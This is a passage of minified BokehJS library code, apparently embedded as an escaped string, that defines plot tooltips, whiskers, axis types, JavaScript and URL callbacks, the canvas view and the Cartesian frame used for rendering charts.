t=this.model.data;if(f.empty(this.el),f.hide(this.el),this.model.custom?this.el.classList.add(\\\"bk-tooltip-custom\\\"):this.el.classList.remove(\\\"bk-tooltip-custom\\\"),0!=t.length){for(var e=this.plot_view.frame,i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[1],a=r[2];if(!this.model.inner_only||e.bbox.contains(o,s)){var l=f.div({},a);this.el.appendChild(l)}}var h,u,c=t[t.length-1],_=c[0],p=c[1],d=v(this.model.attachment,_,p,e._hcenter.value,e._vcenter.value);switch(this.el.classList.remove(\\\"bk-right\\\"),this.el.classList.remove(\\\"bk-left\\\"),this.el.classList.remove(\\\"bk-above\\\"),this.el.classList.remove(\\\"bk-below\\\"),f.show(this.el),d){case\\\"right\\\":this.el.classList.add(\\\"bk-left\\\"),h=_+(this.el.offsetWidth-this.el.clientWidth)+10,u=p-this.el.offsetHeight/2;break;case\\\"left\\\":this.el.classList.add(\\\"bk-right\\\"),h=_-this.el.offsetWidth-10,u=p-this.el.offsetHeight/2;break;case\\\"below\\\":this.el.classList.add(\\\"bk-above\\\"),u=p+(this.el.offsetHeight-this.el.clientHeight)+10,h=Math.round(_-this.el.offsetWidth/2);break;case\\\"above\\\":this.el.classList.add(\\\"bk-below\\\"),u=p-this.el.offsetHeight-10,h=Math.round(_-this.el.offsetWidth/2);break;default:throw new Error(\\\"unreachable code\\\")}this.model.show_arrow&&this.el.classList.add(\\\"bk-tooltip-arrow\\\"),0<this.el.childNodes.length?(this.el.style.top=u+\\\"px\\\",this.el.style.left=h+\\\"px\\\"):f.hide(this.el)}},t}(r.AnnotationView);i.TooltipView=s;var a=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Tooltip\\\",this.prototype.default_view=s,this.define({attachment:[o.String,\\\"horizontal\\\"],inner_only:[o.Bool,!0],show_arrow:[o.Bool,!0]}),this.override({level:\\\"overlay\\\"}),this.internal({data:[o.Any,[]],custom:[o.Any]})},t.prototype.clear=function(){this.data=[]},t.prototype.add=function(t,e,i){this.data=this.data.concat([[t,e,i]])},t}(r.Annotation);(i.Tooltip=a).initClass()},function(t,e,i){var n=t(391),r=t(60),o=t(200),s=t(62),a=t(15),l=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.initialize=function(t){e.prototype.initialize.call(this,t),this.set_data(this.model.source)},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.source.streaming,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.patching,function(){return t.set_data(t.model.source)}),this.connect(this.model.source.change,function(){return t.set_data(t.model.source)})},t.prototype.set_data=function(t){e.prototype.set_data.call(this,t),this.visuals.warm_cache(t),this.plot_view.request_render()},t.prototype._map_data=function(){var t,e,i,n=this.plot_model.frame,r=this.model.dimension,o=n.xscales[this.model.x_range_name],s=n.yscales[this.model.y_range_name],a=\\\"height\\\"==r?s:o,l=\\\"height\\\"==r?o:s,h=\\\"height\\\"==r?n.yview:n.xview,u=\\\"height\\\"==r?n.xview:n.yview;t=\\\"data\\\"==this.model.lower.units?a.v_compute(this._lower):h.v_compute(this._lower),e=\\\"data\\\"==this.model.upper.units?a.v_compute(this._upper):h.v_compute(this._upper),i=\\\"data\\\"==this.model.base.units?l.v_compute(this._base):u.v_compute(this._base);var c=\\\"height\\\"==r?[1,0]:[0,1],_=c[0],p=c[1],d=[t,i],f=[e,i];this._lower_sx=d[_],this._lower_sy=d[p],this._upper_sx=f[_],this._upper_sy=f[p]},t.prototype.render=function(){if(this.model.visible){this._map_data();var t=this.plot_view.canvas_view.ctx;if(this.visuals.line.doit)for(var e=0,i=this._lower_sx.length;e<i;e++)this.visuals.line.set_vectorize(t,e),t.beginPath(),t.moveTo(this._lower_sx[e],this._lower_sy[e]),t.lineTo(this._upper_sx[e],this._upper_sy[e]),t.stroke();var n=\\\"height\\\"==this.model.dimension?0:Math.PI/2;if(null!=this.model.lower_head)for(var e=0,i=this._lower_sx.length;e<i;e++)t.save(),t.translate(this._lower_sx[e],this._lower_sy[e]),t.rotate(n+Math.PI),this.model.lower_head.render(t,e),t.restore();if(null!=this.model.upper_head)for(var e=0,i=this._upper_sx.length;e<i;e++)t.save(),t.translate(this._upper_sx[e],this._upper_sy[e]),t.rotate(n),this.model.upper_head.render(t,e),t.restore()}},t}(r.AnnotationView);i.WhiskerView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Whisker\\\",this.prototype.default_view=l,this.mixins([\\\"line\\\"]),this.define({lower:[a.DistanceSpec],lower_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],upper:[a.DistanceSpec],upper_head:[a.Instance,function(){return new s.TeeHead({level:\\\"underlay\\\",size:10})}],base:[a.DistanceSpec],dimension:[a.Dimension,\\\"height\\\"],source:[a.Instance,function(){return new o.ColumnDataSource}],x_range_name:[a.String,\\\"default\\\"],y_range_name:[a.String,\\\"default\\\"]}),this.override({level:\\\"underlay\\\"})},t}(r.Annotation);(i.Whisker=h).initClass()},function(t,e,i){var n=t(391),r=t(187),o=t(15),s=t(12),l=t(21),T=t(44),a=t(181),h=Math.abs,u=Math.min,c=Math.max,_=function(e){function t(){return null!==e&&e.apply(this,arguments)||this}return n.__extends(t,e),t.prototype.render=function(){if(this.model.visible){var t={tick:this._tick_extent(),tick_label:this._tick_label_extents(),axis_label:this._axis_label_extent()},e=this.model.tick_coords,i=this.plot_view.canvas_view.ctx;i.save(),this._draw_rule(i,t),this._draw_major_ticks(i,t,e),this._draw_minor_ticks(i,t,e),this._draw_major_labels(i,t,e),this._draw_axis_label(i,t,e),null!=this._render&&this._render(i,t,e),i.restore()}},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.model.change,function(){return t.plot_view.request_render()})},t.prototype.get_size=function(){return this.model.visible?Math.round(this._get_size()):0},t.prototype._get_size=function(){return null!=this.model.fixed_location?0:this._tick_extent()+this._tick_label_extent()+this._axis_label_extent()},Object.defineProperty(t.prototype,\\\"needs_clip\\\",{get:function(){return null!=this.model.fixed_location},enumerable:!0,configurable:!0}),t.prototype._draw_rule=function(t,e){if(this.visuals.axis_line.doit){var i=this.model.rule_coords,n=i[0],r=i[1],o=this.plot_view.map_to_screen(n,r,this.model.x_range_name,this.model.y_range_name),s=o[0],a=o[1],l=this.model.normals,h=l[0],u=l[1],c=this.model.offsets,_=c[0],p=c[1];this.visuals.axis_line.set_value(t),t.beginPath(),t.moveTo(Math.round(s[0]+h*_),Math.round(a[0]+u*p));for(var d=1;d<s.length;d++){var f=Math.round(s[d]+h*_),v=Math.round(a[d]+u*p);t.lineTo(f,v)}t.stroke()}},t.prototype._draw_major_ticks=function(t,e,i){var n=this.model.major_tick_in,r=this.model.major_tick_out,o=this.visuals.major_tick_line;this._draw_ticks(t,i.major,n,r,o)},t.prototype._draw_minor_ticks=function(t,e,i){var n=this.model.minor_tick_in,r=this.model.minor_tick_out,o=this.visuals.minor_tick_line;this._draw_ticks(t,i.minor,n,r,o)},t.prototype._draw_major_labels=function(t,e,i){var n=i.major,r=this.model.compute_labels(n[this.model.dimension]),o=this.model.major_label_orientation,s=e.tick+this.model.major_label_standoff,a=this.visuals.major_label_text;this._draw_oriented_labels(t,r,n,o,this.model.panel.side,s,a)},t.prototype._draw_axis_label=function(t,e,i){if(null!=this.model.axis_label&&0!=this.model.axis_label.length&&null==this.model.fixed_location){var n,r;switch(this.model.panel.side){case\\\"above\\\":n=this.model.panel._hcenter.value,r=this.model.panel._bottom.value;break;case\\\"below\\\":n=this.model.panel._hcenter.value,r=this.model.panel._top.value;break;case\\\"left\\\":n=this.model.panel._right.value,r=this.model.panel._vcenter.value;break;case\\\"right\\\":n=this.model.panel._left.value,r=this.model.panel._vcenter.value;break;default:throw new Error(\\\"unknown side: \\\"+this.model.panel.side)}var o=[[n],[r]],s=e.tick+l.sum(e.tick_label)+this.model.axis_label_standoff,a=this.visuals.axis_label_text;this._draw_oriented_labels(t,[this.model.axis_label],o,\\\"parallel\\\",this.model.panel.side,s,a,\\\"screen\\\")}},t.prototype._draw_ticks=function(t,e,i,n,r){if(r.doit){var o=e[0],s=e[1],a=this.plot_view.map_to_screen(o,s,this.model.x_range_name,this.model.y_range_name),l=a[0],h=a[1],u=this.model.normals,c=u[0],_=u[1],p=this.model.offsets,d=p[0],f=p[1],v=[c*(d-i),_*(f-i)],m=v[0],g=v[1],y=[c*(d+n),_*(f+n)],b=y[0],x=y[1];r.set_value(t);for(var w=0;w<l.length;w++){var k=Math.round(l[w]+b),S=Math.round(h[w]+x),C=Math.round(l[w]+m),T=Math.round(h[w]+g);t.beginPath(),t.moveTo(k,S),t.lineTo(C,T),t.stroke()}}},t.prototype._draw_oriented_labels=function(t,e,i,n,r,o,s,a){var l,h,u;if(void 0===a&&(a=\\\"data\\\"),s.doit&&0!=e.length){var c,_,p,d;if(\\\"screen\\\"==a)c=i[0],_=i[1],p=(l=[0,0])[0],d=l[1];else{var f=i[0],v=i[1];h=this.plot_view.map_to_screen(f,v,this.model.x_range_name,this.model.y_range_name),c=h[0],_=h[1],u=this.model.offsets,p=u[0],d=u[1]}var m,g=this.model.normals,y=g[0],b=g[1],x=y*(p+o),w=b*(d+o);s.set_value(t),this.model.panel.apply_label_text_heuristics(t,n),m=T.isString(n)?this.model.panel.get_label_angle_heuristic(n):-n;for(var k=0;k<c.length;k++){var S=Math.round(c[k]+x),C=Math.round(_[k]+w);t.translate(S,C),t.rotate(m),t.fillText(e[k],0,0),t.rotate(-m),t.translate(-S,-C)}}},t.prototype._axis_label_extent=function(){if(null==this.model.axis_label||\\\"\\\"==this.model.axis_label)return 0;var t=this.model.axis_label_standoff,e=this.visuals.axis_label_text;return this._oriented_labels_extent([this.model.axis_label],\\\"parallel\\\",this.model.panel.side,t,e)},t.prototype._tick_extent=function(){return this.model.major_tick_out},t.prototype._tick_label_extent=function(){return l.sum(this._tick_label_extents())},t.prototype._tick_label_extents=function(){var t=this.model.tick_coords.major,e=this.model.compute_labels(t[this.model.dimension]),i=this.model.major_label_orientation,n=this.model.major_label_standoff,r=this.visuals.major_label_text;return[this._oriented_labels_extent(e,i,this.model.panel.side,n,r)]},t.prototype._oriented_labels_extent=function(t,e,i,n,r){if(0==t.length)return 0;var o,s,a=this.plot_view.canvas_view.ctx;r.set_value(a),T.isString(e)?(o=1,s=this.model.panel.get_label_angle_heuristic(e)):(o=2,s=-e),s=Math.abs(s);for(var l=Math.cos(s),h=Math.sin(s),u=0,c=0;c<t.length;c++){var _=1.1*a.measureText(t[c]).width,p=.9*a.measureText(t[c]).ascent,d=void 0;u<(d=\\\"above\\\"==i||\\\"below\\\"==i?_*h+p/o*l:_*l+p/o*h)&&(u=d)}return 0<u&&(u+=n),u},t}(r.GuideRendererView);i.AxisView=_;var p=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Axis\\\",this.prototype.default_view=_,this.mixins([\\\"line:axis_\\\",\\\"line:major_tick_\\\",\\\"line:minor_tick_\\\",\\\"text:major_label_\\\",\\\"text:axis_label_\\\"]),this.define({bounds:[o.Any,\\\"auto\\\"],ticker:[o.Instance,null],formatter:[o.Instance,null],x_range_name:[o.String,\\\"default\\\"],y_range_name:[o.String,\\\"default\\\"],axis_label:[o.String,\\\"\\\"],axis_label_standoff:[o.Int,5],major_label_standoff:[o.Int,5],major_label_orientation:[o.Any,\\\"horizontal\\\"],major_label_overrides:[o.Any,{}],major_tick_in:[o.Number,2],major_tick_out:[o.Number,6],minor_tick_in:[o.Number,0],minor_tick_out:[o.Number,4],fixed_location:[o.Any,null]}),this.override({axis_line_color:\\\"black\\\",major_tick_line_color:\\\"black\\\",minor_tick_line_color:\\\"black\\\",major_label_text_font_size:\\\"8pt\\\",major_label_text_align:\\\"center\\\",major_label_text_baseline:\\\"alphabetic\\\",axis_label_text_font_size:\\\"10pt\\\",axis_label_text_font_style:\\\"italic\\\"})},t.prototype.add_panel=function(t){this.panel=new s.SidePanel({side:t}),this.panel.attach_document(this.document)},Object.defineProperty(t.prototype,\\\"normals\\\",{get:function(){return this.panel.normals},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"dimension\\\",{get:function(){return this.panel.dimension},enumerable:!0,configurable:!0}),t.prototype.compute_labels=function(t){for(var e=this.formatter.doFormat(t,this),i=0;i<t.length;i++)t[i]in this.major_label_overrides&&(e[i]=this.major_label_overrides[t[i]]);return e},Object.defineProperty(t.prototype,\\\"offsets\\\",{get:function(){var t=this.plot.plot_canvas.frame,e=[0,0],i=e[0],n=e[1];switch(this.panel.side){case\\\"below\\\":n=h(this.panel._top.value-t._bottom.value);break;case\\\"above\\\":n=h(this.panel._bottom.value-t._top.value);break;case\\\"right\\\":i=h(this.panel._left.value-t._right.value);break;case\\\"left\\\":i=h(this.panel._right.value-t._left.value)}return[i,n]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"ranges\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.plot.plot_canvas.frame,n=[i.x_ranges[this.x_range_name],i.y_ranges[this.y_range_name]];return[n[t],n[e]]},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"computed_bounds\\\",{get:function(){var t=this.ranges[0],e=this.bounds,i=[t.min,t.max];if(\\\"auto\\\"==e)return[t.min,t.max];if(T.isArray(e)){var n=void 0,r=void 0,o=e[0],s=e[1],a=i[0],l=i[1];return h(o-s)>h(a-l)?(n=c(u(o,s),a),r=u(c(o,s),l)):(n=u(o,s),r=c(o,s)),[n,r]}throw new Error(\\\"user bounds '\\\"+e+\\\"' not understood\\\")},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"rule_coords\\\",{get:function(){var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=new Array(2),a=new Array(2),l=[s,a];return l[t][0]=Math.max(r,i.min),l[t][1]=Math.min(o,i.max),l[t][0]>l[t][1]&&(l[t][0]=l[t][1]=NaN),l[e][0]=this.loc,l[e][1]=this.loc,l},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){for(var t=this.dimension,e=(t+1)%2,i=this.ranges[0],n=this.computed_bounds,r=n[0],o=n[1],s=this.ticker.get_ticks(r,o,i,this.loc,{}),a=s.major,l=s.minor,h=[[],[]],u=[[],[]],c=[i.min,i.max],_=c[0],p=c[1],d=0;d<a.length;d++)a[d]<_||a[d]>p||(h[t].push(a[d]),h[e].push(this.loc));for(var d=0;d<l.length;d++)l[d]<_||l[d]>p||(u[t].push(l[d]),u[e].push(this.loc));return{major:h,minor:u}},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"loc\\\",{get:function(){if(null!=this.fixed_location){if(T.isNumber(this.fixed_location))return this.fixed_location;var t=this.ranges,e=t[1];if(e instanceof a.FactorRange)return e.synthetic(this.fixed_location);throw new Error(\\\"unexpected\\\")}var i=this.ranges,n=i[1];switch(this.panel.side){case\\\"left\\\":case\\\"below\\\":return n.start;case\\\"right\\\":case\\\"above\\\":return n.end}},enumerable:!0,configurable:!0}),t}(r.GuideRenderer);(i.Axis=p).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(208),s=t(105),a=t(15),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e.prototype._render=function(t,e,i){this._draw_group_separators(t,e,i)},e.prototype._draw_group_separators=function(t,e,i){var n,r=this.model.ranges[0],o=this.model.computed_bounds,s=o[0],a=o[1];if(r.tops&&!(r.tops.length<2)&&this.visuals.separator_line.doit){for(var l=this.model.dimension,h=(l+1)%2,u=[[],[]],c=0,_=0;_<r.tops.length-1;_++){for(var p=void 0,d=void 0,f=c;f<r.factors.length;f++)if(r.factors[f][0]==r.tops[_+1]){n=[r.factors[f-1],r.factors[f]],p=n[0],d=n[1],c=f;break}var v=(r.synthetic(p)+r.synthetic(d))/2;s<v&&v<a&&(u[l].push(v),u[h].push(this.model.loc))}var m=this._tick_label_extent();this._draw_ticks(t,u,-3,m-6,this.visuals.separator_line)}},e.prototype._draw_major_labels=function(t,e,i){for(var n=this._get_factor_info(),r=e.tick+this.model.major_label_standoff,o=0;o<n.length;o++){var s=n[o],a=s[0],l=s[1],h=s[2],u=s[3];this._draw_oriented_labels(t,a,l,h,this.model.panel.side,r,u),r+=e.tick_label[o]}},e.prototype._tick_label_extents=function(){for(var t=this._get_factor_info(),e=[],i=0,n=t;i<n.length;i++){var r=n[i],o=r[0],s=r[2],a=r[3],l=this._oriented_labels_extent(o,s,this.model.panel.side,this.model.major_label_standoff,a);e.push(l)}return e},e.prototype._get_factor_info=function(){var t=this.model.ranges[0],e=this.model.computed_bounds,i=e[0],n=e[1],r=this.model.loc,o=this.model.ticker.get_ticks(i,n,t,r,{}),s=this.model.tick_coords,a=[];if(1==t.levels){var l=this.model.formatter.doFormat(o.major,this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text])}else if(2==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[1]}),this.model);a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}else if(3==t.levels){var l=this.model.formatter.doFormat(o.major.map(function(t){return t[2]}),this.model),h=o.mids.map(function(t){return t[1]});a.push([l,s.major,this.model.major_label_orientation,this.visuals.major_label_text]),a.push([h,s.mids,this.model.subgroup_label_orientation,this.visuals.subgroup_text]),a.push([o.tops,s.tops,this.model.group_label_orientation,this.visuals.group_text])}return a},e}(r.AxisView);i.CategoricalAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CategoricalAxis\\\",this.prototype.default_view=l,this.mixins([\\\"line:separator_\\\",\\\"text:group_\\\",\\\"text:subgroup_\\\"]),this.define({group_label_orientation:[a.Any,\\\"parallel\\\"],subgroup_label_orientation:[a.Any,\\\"parallel\\\"]}),this.override({ticker:function(){return new o.CategoricalTicker},formatter:function(){return new s.CategoricalTickFormatter},separator_line_color:\\\"lightgrey\\\",separator_line_width:2,group_text_font_style:\\\"bold\\\",group_text_font_size:\\\"8pt\\\",group_text_color:\\\"grey\\\",subgroup_text_font_style:\\\"bold\\\",subgroup_text_font_size:\\\"8pt\\\"})},Object.defineProperty(t.prototype,\\\"tick_coords\\\",{get:function(){var e=this,t=this.dimension,i=(t+1)%2,n=this.ranges[0],r=this.computed_bounds,o=r[0],s=r[1],a=this.ticker.get_ticks(o,s,n,this.loc,{}),l={major:[[],[]],mids:[[],[]],tops:[[],[]],minor:[[],[]]};return l.major[t]=a.major,l.major[i]=a.major.map(function(t){return e.loc}),3==n.levels&&(l.mids[t]=a.mids),l.mids[i]=a.mids.map(function(t){return e.loc}),1<n.levels&&(l.tops[t]=a.tops),l.tops[i]=a.tops.map(function(t){return e.loc}),l},enumerable:!0,configurable:!0}),t}(r.Axis);(i.CategoricalAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"ContinuousAxis\\\"},t}(r.Axis);(i.ContinuousAxis=o).initClass()},function(t,e,i){var n=t(391),r=t(84),o=t(106),s=t(211),a=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.LinearAxisView);i.DatetimeAxisView=a;var l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"DatetimeAxis\\\",this.prototype.default_view=a,this.override({ticker:function(){return new s.DatetimeTicker},formatter:function(){return new o.DatetimeTickFormatter}})},t}(r.LinearAxis);(i.DatetimeAxis=l).initClass()},function(t,e,i){var n=t(79);i.Axis=n.Axis;var r=t(80);i.CategoricalAxis=r.CategoricalAxis;var o=t(81);i.ContinuousAxis=o.ContinuousAxis;var s=t(82);i.DatetimeAxis=s.DatetimeAxis;var a=t(84);i.LinearAxis=a.LinearAxis;var l=t(85);i.LogAxis=l.LogAxis;var h=t(86);i.MercatorAxis=h.MercatorAxis},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(104),a=t(207),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LinearAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LinearAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.BasicTicker},formatter:function(){return new s.BasicTickFormatter}})},t}(o.ContinuousAxis);(i.LinearAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(81),s=t(109),a=t(215),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.LogAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"LogAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.LogTicker},formatter:function(){return new s.LogTickFormatter}})},t}(o.ContinuousAxis);(i.LogAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(79),o=t(84),s=t(110),a=t(216),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return n.__extends(e,t),e}(r.AxisView);i.MercatorAxisView=l;var h=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"MercatorAxis\\\",this.prototype.default_view=l,this.override({ticker:function(){return new a.MercatorTicker({dimension:\\\"lat\\\"})},formatter:function(){return new s.MercatorTickFormatter({dimension:\\\"lat\\\"})}})},t}(o.LinearAxis);(i.MercatorAxis=h).initClass()},function(t,e,i){var n=t(391),r=t(59),o=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Callback\\\"},t}(r.Model);(i.Callback=o).initClass()},function(i,t,e){var n=i(391),r=i(87),o=i(15),s=i(32),a=i(38),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CustomJS\\\",this.define({args:[o.Any,{}],code:[o.String,\\\"\\\"],use_strict:[o.Boolean,!1]})},Object.defineProperty(t.prototype,\\\"names\\\",{get:function(){return s.keys(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"values\\\",{get:function(){return s.values(this.args)},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"func\\\",{get:function(){var t=this.use_strict?a.use_strict(this.code):this.code;return new(Function.bind.apply(Function,[void 0].concat(this.names,[\\\"cb_obj\\\",\\\"cb_data\\\",\\\"require\\\",\\\"exports\\\",t])))},enumerable:!0,configurable:!0}),t.prototype.execute=function(t,e){return this.func.apply(t,this.values.concat(t,e,i,{}))},t}(r.Callback);(e.CustomJS=l).initClass()},function(t,e,i){var n=t(88);i.CustomJS=n.CustomJS;var r=t(90);i.OpenURL=r.OpenURL},function(t,e,i){var n=t(391),r=t(87),o=t(15),s=t(35),a=t(40),l=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"OpenURL\\\",this.define({url:[o.String,\\\"http://\\\"]})},t.prototype.execute=function(t,e){for(var i=0,n=s.get_indices(e.source);i<n.length;i++){var r=n[i],o=a.replace_placeholders(this.url,e.source,r);window.open(o)}return null},t}(r.Callback);(i.OpenURL=l).initClass()},function(t,e,i){var n=t(391),r=t(11),o=t(6),s=t(13),a=t(14),l=t(15),h=t(5),u=t(26);null!=window.CanvasPixelArray&&(window.CanvasPixelArray.prototype.set=function(t){for(var e=0;e<this.length;e++)this[e]=t[e]});var c=function(i){function t(){return null!==i&&i.apply(this,arguments)||this}return n.__extends(t,i),Object.defineProperty(t.prototype,\\\"ctx\\\",{get:function(){return this._ctx},enumerable:!0,configurable:!0}),t.prototype.initialize=function(t){switch(i.prototype.initialize.call(this,t),this.map_el=this.model.map?this.el.appendChild(h.div({class:\\\"bk-canvas-map\\\"})):null,this.model.output_backend){case\\\"canvas\\\":case\\\"webgl\\\":this.canvas_el=this.el.appendChild(h.canvas({class:\\\"bk-canvas\\\"}));var e=this.canvas_el.getContext(\\\"2d\\\");if(null==e)throw new Error(\\\"unable to obtain 2D rendering context\\\");this._ctx=e;break;case\\\"svg\\\":var e=new u.SVGRenderingContext2D;this._ctx=e,this.canvas_el=this.el.appendChild(e.getSvg())}this.overlays_el=this.el.appendChild(h.div({class:\\\"bk-canvas-overlays\\\"})),this.events_el=this.el.appendChild(h.div({class:\\\"bk-canvas-events\\\"})),u.fixup_ctx(this._ctx),a.logger.debug(\\\"CanvasView initialized\\\")},t.prototype.css_classes=function(){return i.prototype.css_classes.call(this).concat(\\\"bk-canvas-wrapper\\\")},t.prototype.get_canvas_element=function(){return this.canvas_el},t.prototype.prepare_canvas=function(){var t=this.model._width.value,e=this.model._height.value;this.el.style.width=t+\\\"px\\\",this.el.style.height=e+\\\"px\\\";var i=u.get_scale_ratio(this.ctx,this.model.use_hidpi,this.model.output_backend);this.model.pixel_ratio=i,this.canvas_el.style.width=t+\\\"px\\\",this.canvas_el.style.height=e+\\\"px\\\",this.canvas_el.setAttribute(\\\"width\\\",\\\"\\\"+t*i),this.canvas_el.setAttribute(\\\"height\\\",\\\"\\\"+e*i),a.logger.debug(\\\"Rendering CanvasView with width: \\\"+t+\\\", height: \\\"+e+\\\", pixel ratio: \\\"+i)},t.prototype.set_dims=function(t){var e=t[0],i=t[1];e<=0||i<=0||(e!=this.model._width.value&&(null!=this._width_constraint&&this.solver.has_constraint(this._width_constraint)&&this.solver.remove_constraint(this._width_constraint),this._width_constraint=s.EQ(this.model._width,-e),this.solver.add_constraint(this._width_constraint)),i!=this.model._height.value&&(null!=this._height_constraint&&this.solver.has_constraint(this._height_constraint)&&this.solver.remove_constraint(this._height_constraint),this._height_constraint=s.EQ(this.model._height,-i),this.solver.add_constraint(this._height_constraint)),this.solver.update_variables())},t}(o.DOMView);i.CanvasView=c;var _=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"Canvas\\\",this.prototype.default_view=c,this.internal({map:[l.Boolean,!1],use_hidpi:[l.Boolean,!0],pixel_ratio:[l.Number,1],output_backend:[l.OutputBackend,\\\"canvas\\\"]})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.Canvas=_).initClass()},function(t,e,i){var n=t(391),a=t(190),l=t(192),h=t(193),u=t(184),c=t(180),_=t(181),r=t(11),o=t(15),s=function(e){function t(t){return e.call(this,t)||this}return n.__extends(t,e),t.initClass=function(){this.prototype.type=\\\"CartesianFrame\\\",this.internal({extra_x_ranges:[o.Any,{}],extra_y_ranges:[o.Any,{}],x_range:[o.Instance],y_range:[o.Instance],x_scale:[o.Instance],y_scale:[o.Instance]})},t.prototype.initialize=function(){e.prototype.initialize.call(this),this._configure_scales()},t.prototype.connect_signals=function(){var t=this;e.prototype.connect_signals.call(this),this.connect(this.change,function(){return t._configure_scales()})},Object.defineProperty(t.prototype,\\\"panel\\\",{get:function(){return this},enumerable:!0,configurable:!0}),t.prototype.get_editables=function(){return e.prototype.get_editables.call(this).concat([this._width,this._height])},t.prototype.map_to_screen=function(t,e,i,n){void 0===i&&(i=\\\"default\\\"),void 0===n&&(n=\\\"default\\\");var r=this.xscales[i].v_compute(t),o=this.yscales[n].v_compute(e);return[r,o]},t.prototype._get_ranges=function(t,e){var i={};if(i.default=t,null!=e)for(var n in e)i[n]=e[n];return i},t.prototype._get_scales=function(t,e,i){var n={};for(var r in e){var o=e[r];if(o instanceof c.DataRange1d||o instanceof u.Range1d){if(!(t instanceof h.LogScale||t instanceof l.LinearScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);if(t instanceof a.CategoricalScale)throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type)}if(o instanceof _.FactorRange&&!(t instanceof a.CategoricalScale))throw new Error(\\\"Range \\\"+o.type+\\\" is incompatible is Scale \\\"+t.type);t instanceof h.LogScale&&o instanceof c.DataRange1d&&(o.scale_hint=\\\"log\\\");var s=t.clone();s.setv({source_range:o,target_range:i}),n[r]=s}return n},t.prototype._configure_frame_ranges=function(){this._h_target=new u.Range1d({start:this._left.value,end:this._right.value}),this._v_target=new u.Range1d({start:this._bottom.value,end:this._top.value})},t.prototype._configure_scales=function(){this._configure_frame_ranges(),this._x_ranges=this._get_ranges(this.x_range,this.extra_x_ranges),this._y_ranges=this._get_ranges(this.y_range,this.extra_y_ranges),this._xscales=this._get_scales(this.x_scale,this._x_ranges,this._h_target),this._yscales=this._get_scales(this.y_scale,this._y_ranges,this._v_target)},t.prototype.update_scales=function(){for(var t in this._configure_frame_ranges(),this._xscales){var e=this._xscales[t];e.target_range=this._h_target}for(var i in this._yscales){var e=this._yscales[i];e.target_range=this._v_target}},Object.defineProperty(t.prototype,\\\"x_ranges\\\",{get:function(){return this._x_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"y_ranges\\\",{get:function(){return this._y_ranges},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"xscales\\\",{get:function(){return this._xscales},enumerable:!0,configurable:!0}),Object.defineProperty(t.prototype,\\\"yscales\\\",{get:function(){return this._yscales},enumerable:!0,configurable:!0}),t}(r.LayoutCanvas);(i.CartesianFrame=s).initClass()},function(t,e,i){var 